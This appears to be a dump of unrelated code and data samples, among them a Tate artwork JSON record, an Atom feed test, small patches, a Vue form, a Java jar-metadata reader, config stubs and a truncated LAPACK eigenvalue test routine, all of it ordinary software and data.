[\n {\n \"birthYear\": 1775, \n \"date\": \"1775\\u20131851\", \n \"displayOrder\": 1, \n \"fc\": \"Joseph Mallord William Turner\", \n \"gender\": \"Male\", \n \"id\": 558, \n \"mda\": \"Turner, Joseph Mallord William\", \n \"role\": \"artist\", \n \"startLetter\": \"T\"\n }\n ], \n \"creditLine\": \"Accepted by the nation as part of the Turner Bequest 1856\", \n \"dateRange\": {\n \"endYear\": 1835, \n \"startYear\": 1835, \n \"text\": \"1835\"\n }, \n \"dateText\": \"1835\", \n \"depth\": \"\", \n \"dimensions\": \"support: 155 x 92 mm\", \n \"finberg\": \"CCCV 7\", \n \"foreignTitle\": null, \n \"groupTitle\": \"Hamburg and Copenhagen Sketchbook\", \n \"height\": \"92\", \n \"id\": 58074, \n \"inscription\": null, \n \"medium\": \"Graphite on paper\", \n \"movementCount\": 0, \n \"pageNumber\": 15, \n \"subjectCount\": 5, \n \"subjects\": {\n \"children\": [\n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 15238, \n \"name\": \"Copenhagen, Rosenborg Palace\"\n }\n ], \n \"id\": 107, \n \"name\": \"cities, towns, villages (non-UK)\"\n }, \n {\n \"children\": [\n {\n \"id\": 14013, \n \"name\": \"Denmark\"\n }\n ], \n \"id\": 108, \n \"name\": \"countries and continents\"\n }\n ], \n \"id\": 106, \n \"name\": \"places\"\n }, \n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 1927, \n \"name\": \"palace\"\n }\n ], \n \"id\": 26, \n \"name\": \"residential\"\n }, \n {\n \"children\": [\n {\n \"id\": 4527, \n \"name\": \"spire\"\n }\n ], \n \"id\": 17, \n \"name\": \"features\"\n }, \n {\n \"children\": [\n {\n \"id\": 989, \n \"name\": \"townscape, distant\"\n }\n ], \n \"id\": 28, \n \"name\": \"townscapes, man-made features\"\n }\n ], \n \"id\": 13, \n \"name\": \"architecture\"\n }\n ], \n \"id\": 1, \n \"name\": \"subject\"\n }, \n \"thumbnailCopyright\": null, \n \"thumbnailUrl\": \"http://www.tate.org.uk/art/images/work/D/D30/D30833_8.jpg\", \n \"title\": \"(1) Copenhagen from the Sound; (2) (3) Copenhagen: Two Views of Rosenborg Palace from just inside the Main Entrance on Oster Voldgade, (2) Looking North, (3) Looking South\", \n \"units\": \"mm\", \n \"url\": \"http://www.tate.org.uk/art/artworks/turner-1-copenhagen-from-the-sound-2-3-copenhagen-two-views-of-rosenborg-palace-from-just-d30833\", \n \"width\": \"155\"\n}"} {"text": "<!--\nDescription: entry summary with explicit type='text'\nExpect: not bozo and entries[0]['summary'] == 'Example Atom'\n-->\n<feed xmlns=\"http://www.w3.org/2005/Atom\">\n<entry>\n <summary type=\"text\">Example Atom</summary>\n</entry>\n</feed>"} {"text": "$NetBSD: patch-src_debug.h,v 1.1 2013/04/29 21:31:11 joerg Exp $\n\n--- src/debug.h.orig\t2013-04-29 19:01:20.000000000 +0000\n+++ src/debug.h\n@@ -22,6 +22,7 @@\n \n #include <string>\n #include <cstdio>\n+#include <cstdlib>\n \n using std::string;\n \n"} {"text": "<template>\r\n <div>\r\n <div class=\"crumbs\">\r\n <el-breadcrumb separator=\"/\">\r\n <el-breadcrumb-item><i class=\"el-icon-date\"></i> 邮件配置</el-breadcrumb-item>\r\n <el-breadcrumb-item>告警邮件</el-breadcrumb-item>\r\n </el-breadcrumb>\r\n </div>\r\n <div class=\"container\">\r\n <div class=\"form-box\">\r\n <el-form ref=\"form\" :model=\"form\" label-width=\"80px\">\r\n <el-form-item label=\"邮件列表\">\r\n <el-input type=\"textarea\" rows=\"5\" v-model=\"email\">\r\n </el-input>\r\n </el-form-item>\r\n <el-form-item>\r\n <el-button type=\"primary\" @click=\"methodInput\">提交配置</el-button>\r\n\r\n </el-form-item>\r\n </el-form>\r\n </div>\r\n\r\n </div>\r\n\r\n </div>\r\n</template>\r\n\r\n<script>\r\n\r\n export default {\r\n name: 'baseform',\r\n data() {\r\n return {\r\n url: '/mail/',\r\n email: '',\r\n form: {\r\n name: '',\r\n region: '',\r\n date1: '',\r\n date2: '',\r\n delivery: true,\r\n type: ['步步高'],\r\n resource: '小天才',\r\n desc: '',\r\n options: []\r\n }\r\n }\r\n },\r\n created() {\r\n this.getData();\r\n },\r\n methods: {\r\n\r\n // 获取 easy-mock 的模拟数据\r\n getData() {\r\n // 开发环境使用 easy-mock 数据,正式环境使用 json 文件\r\n if (process.env.NODE_ENV === 'development') {\r\n this.url = process.env.API_HOST+'/mail/';\r\n this.$axios.get(this.url)\r\n .then((res) => {\r\n // console.log(res.data.user);\r\n this.email = res.data.user;\r\n })\r\n }else{\r\n this.$axios.get(this.url)\r\n .then((res) => {\r\n // console.log(res.data.user);\r\n this.email = res.data.user;\r\n })\r\n }\r\n\r\n },\r\n methodInput() {\r\n // 开发环境使用 easy-mock 数据,正式环境使用 json 文件\r\n if (process.env.NODE_ENV === 'development') {\r\n this.url = process.env.API_HOST+'/mail/';\r\n this.$axios.post(this.url,{\r\n user : this.email,\r\n })\r\n .then((res) => {\r\n this.$message.success('提交成功!');\r\n return this.email;\r\n })\r\n } else{\r\n this.$axios.post(this.url,{\r\n user : this.email,\r\n })\r\n .then((res) => {\r\n this.$message.success('提交成功!');\r\n return this.email;\r\n })\r\n }\r\n\r\n }\r\n }\r\n }\r\n\r\n \r\n \r\n</script>"} {"text": "package maven;\nimport common.CommonUtil;\nimport entity.DependencyInfo;\nimport org.springframework.boot.loader.jar.JarFile; // 偷懒 直接使用springboot的\nimport java.io.File;\nimport java.util.Enumeration;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.jar.JarEntry;\n\n/**\n * @author fate\n * @date 2019-11-22 上午11:38\n * 用于处理fat jar资源的获取\n */\npublic class FatJarHandle {\n\n /**\n * fat jar 依赖文件的获取,多用于处理springboot打包的jar 传入的path是这样的 jar:file:/home/q/system/java/live/build/libs/live-33541.a12ed7cc.jar!/BOOT-INF/classes!/\n * @param jarpath\n * @param dependencyInfoList\n * @return\n */\n public static List<DependencyInfo> getDependencyInfo(String jarpath, List<DependencyInfo> dependencyInfoList) {\n\n try {\n\n JarFile jarFile = new JarFile(new File(getROOTJar(jarpath)));\n\n Enumeration<JarEntry> jarEntryEnumeration = jarFile.entries();\n\n while (jarEntryEnumeration.hasMoreElements()) {\n\n JarEntry jarEntry = jarEntryEnumeration.nextElement();\n\n if (jarEntry.getName().endsWith(\".jar\")) { // 这里就暂时不匹配BOOT-INF/lib,考虑通用性\n\n JarFile inJarFile = jarFile.getNestedJarFile(jarEntry);\n DependencyInfo dependencyInfo = getJarInJardependcyInfo(inJarFile); // 获取资源\n\n if (dependencyInfo != null) dependencyInfoList.add(dependencyInfo);\n\n }\n }\n\n }\n catch (Exception e) {\n\n CommonUtil.writeStr(\"/tmp/jvm_error.txt\",\"getDependencyInfo:\\t\" + e.getMessage());\n }\n\n return dependencyInfoList;\n }\n\n /**\n * 获取Jarinjar中的资源\n * @param jarFile\n * @return\n */\n public static DependencyInfo getJarInJardependcyInfo(JarFile jarFile) {\n\n try {\n\n Enumeration<JarEntry> jarEntryEnumeration = jarFile.entries();\n\n while (jarEntryEnumeration.hasMoreElements()) {\n\n JarEntry jarEntry= jarEntryEnumeration.nextElement();\n\n if (jarEntry.getName().endsWith(\"/pom.properties\")) {\n\n Properties prop = new Properties();\n prop.load(jarFile.getInputStream(jarEntry));\n\n DependencyInfo dependencyInfo = new DependencyInfo(); // 存放依赖信息\n dependencyInfo.setArtifactId(prop.getProperty(\"artifactId\"));\n dependencyInfo.setGroupId(prop.getProperty(\"groupId\"));\n dependencyInfo.setVersion(prop.getProperty(\"version\"));\n\n return dependencyInfo;\n }\n }\n\n }\n catch (Exception e) {\n\n CommonUtil.writeStr(\"/tmp/jvm_error.txt\",\"getJarInJardependcyInfo:\\t\" + e.getMessage());\n }\n\n return null;\n\n }\n\n /**\n * 获取rootjar资源路径\n * @param jarPath\n * @return\n */\n public static String getROOTJar(String jarPath) {\n\n jarPath = jarPath.split(\".jar!/\")[0].replace(\"jar:file:\",\"\");\n\n return jarPath + \".jar\";\n }\n\n}"} {"text": "// Copyright 2019 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build darwin,amd64,!go1.12\n\npackage unix\n\n//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64\n"} {"text": "/*\n * Host Resources MIB - partition device group interface - hr_partition.h\n *\n */\n#ifndef _MIBGROUP_HRPART_H\n#define _MIBGROUP_HRPART_H\n\nextern void\tinit_hrpartition (void);\nextern void\tInit_HR_Partition (void);\nextern FindVarMethod var_hrpartition;\n\n\n#define\tHRPART_INDEX\t\t1\n#define\tHRPART_LABEL\t\t2\n#define\tHRPART_ID\t\t3\n#define\tHRPART_SIZE\t\t4\n#define\tHRPART_FSIDX\t\t5\n\n#ifdef IN_SNMP_VARS_C\n\nstruct variable4 hrpartition_variables[] = {\n { HRPART_INDEX, ASN_INTEGER, RONLY, var_hrpartition, 2, {1,1}},\n { HRPART_LABEL, ASN_OCTET_STR, RONLY, var_hrpartition, 2, {1,2}},\n { HRPART_ID, ASN_OCTET_STR, RONLY, var_hrpartition, 2, {1,3}},\n { HRPART_SIZE, ASN_INTEGER, RONLY, var_hrpartition, 2, {1,4}},\n { HRPART_FSIDX, ASN_INTEGER, RONLY, var_hrpartition, 2, {1,5}}\n};\nconfig_load_mib( MIB.25.3.7, 9, hrpartition_variables)\n\n#endif\n#endif /* _MIBGROUP_HRPART_H */\n"} {"text": "#!/bin/sh\n\n# SPDX-License-Identifier: GPL-2.0-or-later\n# Copyright (C) 2009-2014 Stephan Raue (stephan@openelec.tv)\n\n. /etc/profile\n\nSERVICE=\"service.multimedia.boblightd.service\"\n\ncase \"$1\" in\n pre)\n if systemctl is-active \"$SERVICE\" &>/dev/null ; then\n systemctl stop \"$SERVICE\"\n fi\n ;;\n post)\n if systemctl is-enabled \"$SERVICE\" &>/dev/null ; then\n systemctl start \"$SERVICE\"\n fi\n ;;\nesac\n"} {"text": "\n[Unit]\nDescription=Pi-hole-Influx - Send Pi-hole statistics to InfluxDB for visualization\nDocumentation=https://github.com/janw/pi-hole-influx\nAfter=network-online.target\n\n[Service]\nUser=pi\nType=notify\nEnvironment=PYTHONUNBUFFERED=true\nExecStart=/usr/bin/python3 /home/pi/pi-hole-influx/piholeinflux.py\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n\n"} {"text": "#!/bin/bash\n\nDEBUG=1 BRIDJ_TARGETS=default `dirname $0`/BuildNative $@ || exit 1\n"} {"text": "// This file is part of Hangfire.\n// Copyright © 2013-2014 Sergey Odinokov.\n// \n// Hangfire is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Lesser General Public License as \n// published by the Free Software Foundation, either version 3 \n// of the License, or any later version.\n// \n// Hangfire is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Lesser General Public License for more details.\n// \n// You should have received a copy of the GNU Lesser General Public \n// License along with Hangfire. If not, see <http://www.gnu.org/licenses/>.\n\nusing System;\n\n// ReSharper disable once CheckNamespace\nnamespace Hangfire.Server\n{\n /// <exclude />\n [Obsolete(\"Please use `BackgroundJobServerOptions` properties instead. Will be removed in 2.0.0.\")]\n public class ServerWatchdogOptions\n {\n public ServerWatchdogOptions()\n {\n ServerTimeout = ServerWatchdog.DefaultServerTimeout;\n CheckInterval = ServerWatchdog.DefaultCheckInterval;\n }\n\n public TimeSpan ServerTimeout { get; set; }\n public TimeSpan CheckInterval { get; set; }\n }\n}"} {"text": "<?php\n\nclass ParentOrderController extends ParentOrderControllerCore\n{\n\n}\n\n"} {"text": "package laya.debug.view.nodeInfo.nodetree \n{\n\timport laya.debug.data.Base64AtlasManager;\n\t\n\timport laya.debug.ui.debugui.FindNodeUI;\n\t\n\t/**\n\t * ...\n\t * @author ww\n\t */\n\tpublic class FindNode extends FindNodeUI \n\t{\n\t\t\n\t\tpublic function FindNode() \n\t\t{\n\t\t\tBase64AtlasManager.replaceRes(FindNodeUI.uiView);\n\t\t\tcreateView(FindNodeUI.uiView);\n\t\t}\n\t\toverride protected function createChildren():void \n\t\t{\n\t\t\tsuper.viewMapRegists();\n\t\t}\n\t}\n\n}"} {"text": "*> \\brief \\b DDRVEV\n*\n* =========== DOCUMENTATION ===========\n*\n* Online html documentation available at\n* http://www.netlib.org/lapack/explore-html/\n*\n* Definition:\n* ===========\n*\n* SUBROUTINE DDRVEV( NSIZES, NN, NTYPES, DOTYPE, ISEED, THRESH,\n* NOUNIT, A, LDA, H, WR, WI, WR1, WI1, VL, LDVL,\n* VR, LDVR, LRE, LDLRE, RESULT, WORK, NWORK,\n* IWORK, INFO )\n*\n* .. Scalar Arguments ..\n* INTEGER INFO, LDA, LDLRE, LDVL, LDVR, NOUNIT, NSIZES,\n* $ NTYPES, NWORK\n* DOUBLE PRECISION THRESH\n* ..\n* .. Array Arguments ..\n* LOGICAL DOTYPE( * )\n* INTEGER ISEED( 4 ), IWORK( * ), NN( * )\n* DOUBLE PRECISION A( LDA, * ), H( LDA, * ), LRE( LDLRE, * ),\n* $ RESULT( 7 ), VL( LDVL, * ), VR( LDVR, * ),\n* $ WI( * ), WI1( * ), WORK( * ), WR( * ), WR1( * )\n* ..\n*\n*\n*> \\par Purpose:\n* =============\n*>\n*> \\verbatim\n*>\n*> DDRVEV checks the nonsymmetric eigenvalue problem driver DGEEV.\n*>\n*> When DDRVEV is called, a number of matrix \"sizes\" (\"n's\") and a\n*> number of matrix \"types\" are specified. For each size (\"n\")\n*> and each type of matrix, one matrix will be generated and used\n*> to test the nonsymmetric eigenroutines. For each matrix, 7\n*> tests will be performed:\n*>\n*> (1) | A * VR - VR * W | / ( n |A| ulp )\n*>\n*> Here VR is the matrix of unit right eigenvectors.\n*> W is a block diagonal matrix, with a 1x1 block for each\n*> real eigenvalue and a 2x2 block for each complex conjugate\n*> pair. If eigenvalues j and j+1 are a complex conjugate pair,\n*> so WR(j) = WR(j+1) = wr and WI(j) = - WI(j+1) = wi, then the\n*> 2 x 2 block corresponding to the pair will be:\n*>\n*> ( wr wi )\n*> ( -wi wr )\n*>\n*> Such a block multiplying an n x 2 matrix ( ur ui ) on the\n*> right will be the same as multiplying ur + i*ui by wr + i*wi.\n*>\n*> (2) | A**H * VL - VL * W**H | / ( n |A| ulp )\n*>\n*> Here VL is the matrix of unit left eigenvectors, A**H is the\n*> conjugate transpose of A, and W is as above.\n*>\n*> (3) | |VR(i)| - 1 | / ulp and whether largest component real\n*>\n*> VR(i) denotes the i-th column of VR.\n*>\n*> (4) | |VL(i)| - 1 | / ulp and whether largest component real\n*>\n*> VL(i) denotes the i-th column of VL.\n*>\n*> (5) W(full) = W(partial)\n*>\n*> W(full) denotes the eigenvalues computed when both VR and VL\n*> are also computed, and W(partial) denotes the eigenvalues\n*> computed when only W, only W and VR, or only W and VL are\n*> computed.\n*>\n*> (6) VR(full) = VR(partial)\n*>\n*> VR(full) denotes the right eigenvectors computed when both VR\n*> and VL are computed, and VR(partial) denotes the result\n*> when only VR is computed.\n*>\n*> (7) VL(full) = VL(partial)\n*>\n*> VL(full) denotes the left eigenvectors computed when both VR\n*> and VL are also computed, and VL(partial) denotes the result\n*> when only VL is computed.\n*>\n*> The \"sizes\" are specified by an array NN(1:NSIZES); the value of\n*> each element NN(j) specifies one size.\n*> The \"types\" are specified by a logical array DOTYPE( 1:NTYPES );\n*> if DOTYPE(j) is .TRUE., then matrix type \"j\" will be generated.\n*> Currently, the list of possible types is:\n*>\n*> (1) The zero matrix.\n*> (2) The identity matrix.\n*> (3) A (transposed) Jordan block, with 1's on the diagonal.\n*>\n*> (4) A diagonal matrix with evenly spaced entries\n*> 1, ..., ULP and random signs.\n*> (ULP = (first number larger than 1) - 1 )\n*> (5) A diagonal matrix with geometrically spaced entries\n*> 1, ..., ULP and random signs.\n*> (6) A diagonal matrix with \"clustered\" entries 1, ULP, ..., ULP\n*> and random signs.\n*>\n*> (7) Same as (4), but multiplied by a constant near\n*> the overflow threshold\n*> (8) Same as (4), but multiplied by a constant near\n*> the underflow threshold\n*>\n*> (9) A matrix of the form U' T U, where U is orthogonal and\n*> T has evenly spaced entries 1, ..., ULP with random signs\n*> on the diagonal and random O(1) entries in the upper\n*> triangle.\n*>\n*> (10) A matrix of the form U' T U, where U is orthogonal and\n*> T has geometrically spaced entries 1, ..., ULP with random\n*> signs on the diagonal and random O(1) entries in the upper\n*> triangle.\n*>\n*> (11) A matrix of the form U' T U, where U is orthogonal and\n*> T has \"clustered\" entries 1, ULP,..., ULP with random\n*> signs on the diagonal and random O(1) entries in the upper\n*> triangle.\n*>\n*> (12) A matrix of the form U' T U, where U is orthogonal and\n*> T has real or complex conjugate paired eigenvalues randomly\n*> chosen from ( ULP, 1 ) and random O(1) entries in the upper\n*> triangle.\n*>\n*> (13) A matrix of the form X' T X, where X has condition\n*> SQRT( ULP ) and T has evenly spaced entries 1, ..., ULP\n*> with random signs on the diagonal and random O(1) entries\n*> in the upper triangle.\n*>\n*> (14) A matrix of the form X' T X, where X has condition\n*> SQRT( ULP ) and T has geometrically spaced entries\n*> 1, ..., ULP with random signs on the diagonal and random\n*> O(1) entries in the upper triangle.\n*>\n*> (15) A matrix of the form X' T X, where X has condition\n*> SQRT( ULP ) and T has \"clustered\" entries 1, ULP,..., ULP\n*> with random signs on the diagonal and random O(1) entries\n*> in the upper triangle.\n*>\n*> (16) A matrix of the form X' T X, where X has condition\n*> SQRT( ULP ) and T has real or complex conjugate paired\n*> eigenvalues randomly chosen from ( ULP, 1 ) and random\n*> O(1) entries in the upper triangle.\n*>\n*> (17) Same as (16), but multiplied by a constant\n*> near the overflow threshold\n*> (18) Same as (16), but multiplied by a constant\n*> near the underflow threshold\n*>\n*> (19) Nonsymmetric matrix with random entries chosen from (-1,1).\n*> If N is at least 4, all entries in first two rows and last\n*> row, and first column and last two columns are zero.\n*> (20) Same as (19), but multiplied by a constant\n*> near the overflow threshold\n*> (21) Same as (19), but multiplied by a constant\n*> near the underflow threshold\n*> \\endverbatim\n*\n* Arguments:\n* ==========\n*\n*> \\param[in] NSIZES\n*> \\verbatim\n*> NSIZES is INTEGER\n*> The number of sizes of matrices to use. If it is zero,\n*> DDRVEV does nothing. It must be at least zero.\n*> \\endverbatim\n*>\n*> \\param[in] NN\n*> \\verbatim\n*> NN is INTEGER array, dimension (NSIZES)\n*> An array containing the sizes to be used for the matrices.\n*> Zero values will be skipped. The values must be at least\n*> zero.\n*> \\endverbatim\n*>\n*> \\param[in] NTYPES\n*> \\verbatim\n*> NTYPES is INTEGER\n*> The number of elements in DOTYPE. If it is zero, DDRVEV\n*> does nothing. It must be at least zero. If it is MAXTYP+1\n*> and NSIZES is 1, then an additional type, MAXTYP+1 is\n*> defined, which is to use whatever matrix is in A. This\n*> is only useful if DOTYPE(1:MAXTYP) is .FALSE. and\n*> DOTYPE(MAXTYP+1) is .TRUE. .\n*> \\endverbatim\n*>\n*> \\param[in] DOTYPE\n*> \\verbatim\n*> DOTYPE is LOGICAL array, dimension (NTYPES)\n*> If DOTYPE(j) is .TRUE., then for each size in NN a\n*> matrix of that size and of type j will be generated.\n*> If NTYPES is smaller than the maximum number of types\n*> defined (PARAMETER MAXTYP), then types NTYPES+1 through\n*> MAXTYP will not be generated. If NTYPES is larger\n*> than MAXTYP, DOTYPE(MAXTYP+1) through DOTYPE(NTYPES)\n*> will be ignored.\n*> \\endverbatim\n*>\n*> \\param[in,out] ISEED\n*> \\verbatim\n*> ISEED is INTEGER array, dimension (4)\n*> On entry ISEED specifies the seed of the random number\n*> generator. The array elements should be between 0 and 4095;\n*> if not they will be reduced mod 4096. Also, ISEED(4) must\n*> be odd. The random number generator uses a linear\n*> congruential sequence limited to small integers, and so\n*> should produce machine independent random numbers. The\n*> values of ISEED are changed on exit, and can be used in the\n*> next call to DDRVEV to continue the same random number\n*> sequence.\n*> \\endverbatim\n*>\n*> \\param[in] THRESH\n*> \\verbatim\n*> THRESH is DOUBLE PRECISION\n*> A test will count as \"failed\" if the \"error\", computed as\n*> described above, exceeds THRESH. Note that the error\n*> is scaled to be O(1), so THRESH should be a reasonably\n*> small multiple of 1, e.g., 10 or 100. In particular,\n*> it should not depend on the precision (single vs. double)\n*> or the size of the matrix. It must be at least zero.\n*> \\endverbatim\n*>\n*> \\param[in] NOUNIT\n*> \\verbatim\n*> NOUNIT is INTEGER\n*> The FORTRAN unit number for printing out error messages\n*> (e.g., if a routine returns INFO not equal to 0.)\n*> \\endverbatim\n*>\n*> \\param[out] A\n*> \\verbatim\n*> A is DOUBLE PRECISION array, dimension (LDA, max(NN))\n*> Used to hold the matrix whose eigenvalues are to be\n*> computed. On exit, A contains the last matrix actually used.\n*> \\endverbatim\n*>\n*> \\param[in] LDA\n*> \\verbatim\n*> LDA is INTEGER\n*> The leading dimension of A, and H. LDA must be at\n*> least 1 and at least max(NN).\n*> \\endverbatim\n*>\n*> \\param[out] H\n*> \\verbatim\n*> H is DOUBLE PRECISION array, dimension (LDA, max(NN))\n*> Another copy of the test matrix A, modified by DGEEV.\n*> \\endverbatim\n*>\n*> \\param[out] WR\n*> \\verbatim\n*> WR is DOUBLE PRECISION array, dimension (max(NN))\n*> \\endverbatim\n*>\n*> \\param[out] WI\n*> \\verbatim\n*> WI is DOUBLE PRECISION array, dimension (max(NN))\n*>\n*> The real and imaginary parts of the eigenvalues of A.\n*> On exit, WR + WI*i are the eigenvalues of the matrix in A.\n*> \\endverbatim\n*>\n*> \\param[out] WR1\n*> \\verbatim\n*> WR1 is DOUBLE PRECISION array, dimension (max(NN))\n*> \\endverbatim\n*>\n*> \\param[out] WI1\n*> \\verbatim\n*> WI1 is DOUBLE PRECISION array, dimension (max(NN))\n*>\n*> Like WR, WI, these arrays contain the eigenvalues of A,\n*> but those computed when DGEEV only computes a partial\n*> eigendecomposition, i.e. not the eigenvalues and left\n*> and right eigenvectors.\n*> \\endverbatim\n*>\n*> \\param[out] VL\n*> \\verbatim\n*> VL is DOUBLE PRECISION array, dimension (LDVL, max(NN))\n*> VL holds the computed left eigenvectors.\n*> \\endverbatim\n*>\n*> \\param[in] LDVL\n*> \\verbatim\n*> LDVL is INTEGER\n*> Leading dimension of VL. Must be at least max(1,max(NN)).\n*> \\endverbatim\n*>\n*> \\param[out] VR\n*> \\verbatim\n*> VR is DOUBLE PRECISION array, dimension (LDVR, max(NN))\n*> VR holds the computed right eigenvectors.\n*> \\endverbatim\n*>\n*> \\param[in] LDVR\n*> \\verbatim\n*> LDVR is INTEGER\n*> Leading dimension of VR. Must be at least max(1,max(NN)).\n*> \\endverbatim\n*>\n*> \\param[out] LRE\n*> \\verbatim\n*> LRE is DOUBLE PRECISION array, dimension (LDLRE,max(NN))\n*> LRE holds the computed right or left eigenvectors.\n*> \\endverbatim\n*>\n*> \\param[in] LDLRE\n*> \\verbatim\n*> LDLRE is INTEGER\n*> Leading dimension of LRE. Must be at least max(1,max(NN)).\n*> \\endverbatim\n*>\n*> \\param[out] RESULT\n*> \\verbatim\n*> RESULT is DOUBLE PRECISION array, dimension (7)\n*> The values computed by the seven tests described above.\n*> The values are currently limited to 1/ulp, to avoid overflow.\n*> \\endverbatim\n*>\n*> \\param[out] WORK\n*> \\verbatim\n*> WORK is DOUBLE PRECISION array, dimension (NWORK)\n*> \\endverbatim\n*>\n*> \\param[in] NWORK\n*> \\verbatim\n*> NWORK is INTEGER\n*> The number of entries in WORK. This must be at least\n*> 5*NN(j)+2*NN(j)**2 for all j.\n*> \\endverbatim\n*>\n*> \\param[out] IWORK\n*> \\verbatim\n*> IWORK is INTEGER array, dimension (max(NN))\n*> \\endverbatim\n*>\n*> \\param[out] INFO\n*> \\verbatim\n*> INFO is INTEGER\n*> If 0, then everything ran OK.\n*> -1: NSIZES < 0\n*> -2: Some NN(j) < 0\n*> -3: NTYPES < 0\n*> -6: THRESH < 0\n*> -9: LDA < 1 or LDA < NMAX, where NMAX is max( NN(j) ).\n*> -16: LDVL < 1 or LDVL < NMAX, where NMAX is max( NN(j) ).\n*> -18: LDVR < 1 or LDVR < NMAX, where NMAX is max( NN(j) ).\n*> -20: LDLRE < 1 or LDLRE < NMAX, where NMAX is max( NN(j) ).\n*> -23: NWORK too small.\n*> If DLATMR, SLATMS, SLATME or DGEEV returns an error code,\n*> the absolute value of it is returned.\n*>\n*>-----------------------------------------------------------------------\n*>\n*> Some Local Variables and Parameters:\n*> ---- ----- --------- --- ----------\n*>\n*> ZERO, ONE Real 0 and 1.\n*> MAXTYP The number of types defined.\n*> NMAX Largest value in NN.\n*> NERRS The number of tests which have exceeded THRESH\n*> COND, CONDS,\n*> IMODE Values to be passed to the matrix generators.\n*> ANORM Norm of A; passed to matrix generators.\n*>\n*> OVFL, UNFL Overflow and underflow thresholds.\n*> ULP, ULPINV Finest relative precision and its inverse.\n*> RTULP, RTULPI Square roots of the previous 4 values.\n*>\n*> The following four arrays decode JTYPE:\n*> KTYPE(j) The general type (1-10) for type \"j\".\n*> KMODE(j) The MODE value to be passed to the matrix\n*> generator for type \"j\".\n*> KMAGN(j) The order of magnitude ( O(1),\n*> O(overflow^(1/2) ), O(underflow^(1/2) )\n*> KCONDS(j) Selectw whether CONDS is to be 1 or\n*> 1/sqrt(ulp). (0 means irrelevant.)\n*> \\endverbatim\n*\n* Authors:\n* ========\n*\n*> \\author Univ. of Tennessee\n*> \\author Univ. of California Berkeley\n*> \\author Univ. of Colorado Denver\n*> \\author NAG Ltd.\n*\n*> \\date December 2016\n*\n*> \\ingroup double_eig\n*\n* =====================================================================\n SUBROUTINE DDRVEV( NSIZES, NN, NTYPES, DOTYPE, ISEED, THRESH,\n $ NOUNIT, A, LDA, H, WR, WI, WR1, WI1, VL, LDVL,\n $ VR, LDVR, LRE, LDLRE, RESULT, WORK, NWORK,\n $ IWORK, INFO )\n*\n* -- LAPACK test routine (version 3.7.0) --\n* -- LAPACK is a software package provided by Univ. of Tennessee, --\n* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--\n* December 2016\n*\n* .. Scalar Arguments ..\n INTEGER INFO, LDA, LDLRE, LDVL, LDVR, NOUNIT, NSIZES,\n $ NTYPES, NWORK\n DOUBLE PRECISION THRESH\n* ..\n* .. Array Arguments ..\n LOGICAL DOTYPE( * )\n INTEGER ISEED( 4 ), IWORK( * ), NN( * )\n DOUBLE PRECISION A( LDA, * ), H( LDA, * ), LRE( LDLRE, * ),\n $ RESULT( 7 ), VL( LDVL, * ), VR( LDVR, * ),\n $ WI( * ), WI1( * ), WORK( * ), WR( * ), WR1( * )\n* ..\n*\n* =====================================================================\n*\n* .. Parameters ..\n DOUBLE PRECISION ZERO, ONE\n PARAMETER ( ZERO = 0.0D0, ONE = 1.0D0 )\n DOUBLE PRECISION TWO\n PARAMETER ( TWO = 2.0D0 )\n INTEGER MAXTYP\n PARAMETER ( MAXTYP = 21 )\n* ..\n* .. Local Scalars ..\n LOGICAL BADNN\n CHARACTER*3 PATH\n INTEGER IINFO, IMODE, ITYPE, IWK, J, JCOL, JJ, JSIZE,\n $ JTYPE, MTYPES, N, NERRS, NFAIL, NMAX, NNWORK,\n $ NTEST, NTESTF, NTESTT\n DOUBLE PRECISION ANORM, COND, CONDS, OVFL, RTULP, RTULPI, TNRM,\n $ ULP, ULPINV, UNFL, VMX, VRMX, VTST\n* ..\n* .. Local Arrays ..\n CHARACTER ADUMMA( 1 )\n INTEGER IDUMMA( 1 ), IOLDSD( 4 ), KCONDS( MAXTYP ),\n $ KMAGN( MAXTYP ), KMODE( MAXTYP ),\n $ KTYPE( MAXTYP )\n DOUBLE PRECISION DUM( 1 ), RES( 2 )\n* ..\n* .. External Functions ..\n DOUBLE PRECISION DLAMCH, DLAPY2, DNRM2\n EXTERNAL DLAMCH, DLAPY2, DNRM2\n* ..\n* .. External Subroutines ..\n EXTERNAL DGEEV, DGET22, DLABAD, DLACPY, DLASET, DLASUM,\n $ DLATME, DLATMR, DLATMS, XERBLA\n* ..\n* .. Intrinsic Functions ..\n INTRINSIC ABS, MAX, MIN, SQRT\n* ..\n* .. Data statements ..\n DATA KTYPE / 1, 2, 3, 5*4, 4*6, 6*6, 3*9 /\n DATA KMAGN / 3*1, 1, 1, 1, 2, 3, 4*1, 1, 1, 1, 1, 2,\n $ 3, 1, 2, 3 /\n DATA KMODE / 3*0, 4, 3, 1, 4, 4, 4, 3, 1, 5, 4, 3,\n $ 1, 5, 5, 5, 4, 3, 1 /\n DATA KCONDS / 3*0, 5*0, 4*1, 6*2, 3*0 /\n* ..\n* .. Executable Statements ..\n*\n PATH( 1: 1 ) = 'Double precision'\n PATH( 2: 3 ) = 'EV'\n*\n* Check for errors\n*\n NTESTT = 0\n NTESTF = 0\n INFO = 0\n*\n* Important constants\n*\n BADNN = .FALSE.\n NMAX = 0\n DO 10 J = 1, NSIZES\n NMAX = MAX( NMAX, NN( J ) )\n IF( NN( J ).LT.0 )\n $ BADNN = .TRUE.\n 10 CONTINUE\n*\n* Check for errors\n*\n IF( NSIZES.LT.0 ) THEN\n INFO = -1\n ELSE IF( BADNN ) THEN\n INFO = -2\n ELSE IF( NTYPES.LT.0 ) THEN\n INFO = -3\n ELSE IF( THRESH.LT.ZERO ) THEN\n INFO = -6\n ELSE IF( NOUNIT.LE.0 ) THEN\n INFO = -7\n ELSE IF( LDA.LT.1 .OR. LDA.LT.NMAX ) THEN\n INFO = -9\n ELSE IF( LDVL.LT.1 .OR. LDVL.LT.NMAX ) THEN\n INFO = -16\n ELSE IF( LDVR.LT.1 .OR. 